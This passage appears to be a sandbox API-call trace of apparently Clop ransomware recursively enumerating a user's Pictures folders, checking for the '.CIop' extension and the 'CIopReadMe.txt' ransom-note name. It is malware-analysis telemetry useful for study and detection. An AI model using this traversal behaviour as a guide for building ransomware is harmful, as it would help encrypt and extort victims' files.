iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0169.194] SetErrorMode (uMode=0x1) returned 0x1 [0169.194] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0169.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0169.194] lstrcpyW (in: lpString1=0x2dbf908, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0169.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0169.194] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67dc78 [0169.194] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0169.194] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0169.194] lstrlenW (lpString=".CIop") returned 5 [0169.194] lstrlenW (lpString=".CIop") returned 5 [0169.194] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.194] lstrlenW (lpString=".CIop") returned 5 [0169.195] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0169.195] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0169.195] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67dd78 [0169.195] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0169.195] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0169.195] lstrcpyW (in: lpString1=0x2dbf4f8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0169.195] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0169.195] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0169.195] SetErrorMode (uMode=0x1) returned 0x1 [0169.195] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0169.195] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0169.195] lstrcpyW (in: lpString1=0x2dbdcd0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0169.195] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0169.195] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67dc78 [0169.195] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0169.195] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0169.195] lstrlenW (lpString=".CIop") returned 5 [0169.195] lstrlenW (lpString=".CIop") returned 5 [0169.195] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0169.195] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0169.195] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67e0b8 [0169.195] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0169.195] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0169.196] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0169.196] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0169.196] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0 [0169.196] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0169.196] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0169.196] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0169.196] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0169.196] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0169.196] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0169.196] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0169.196] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0169.196] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0169.196] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.196] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.196] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.197] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0169.197] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0169.197] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0169.197] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0169.197] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0169.197] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.197] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.197] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0169.197] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0169.197] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.197] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2="..") returned 1 [0169.197] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2=".") returned 1 [0169.197] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0169.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0169.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0169.197] SetErrorMode (uMode=0x1) returned 0x1 [0169.197] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0169.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0169.197] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0169.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0169.197] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dfb8 [0169.198] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0169.198] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0169.198] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.198] lstrlenW (lpString=".CIop") returned 5 [0169.198] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0169.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0169.198] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0169.198] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0169.198] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0169.198] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.198] lstrcmpW (lpString1="Camera Roll", lpString2="..") returned 1 [0169.198] lstrcmpW (lpString1="Camera Roll", lpString2=".") returned 1 [0169.198] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0169.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0169.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0169.198] SetErrorMode (uMode=0x1) returned 0x1 [0169.198] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0169.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0169.198] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0169.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0169.198] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67deb8 [0169.199] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0169.199] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0169.199] lstrlenW (lpString="desktop.ini") returned 11 [0169.199] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0169.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0169.199] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0169.199] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0169.199] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0169.199] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.199] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.199] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.199] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.199] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.199] lstrcmpW (lpString1="Saved Pictures", lpString2="..") returned 1 [0169.199] lstrcmpW (lpString1="Saved Pictures", lpString2=".") returned 1 [0169.199] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0169.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0169.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0169.199] SetErrorMode (uMode=0x1) returned 0x1 [0169.199] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0169.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0169.199] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0169.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0169.199] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dfb8 [0169.200] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0169.200] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0169.200] lstrlenW (lpString="desktop.ini") returned 11 [0169.200] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: 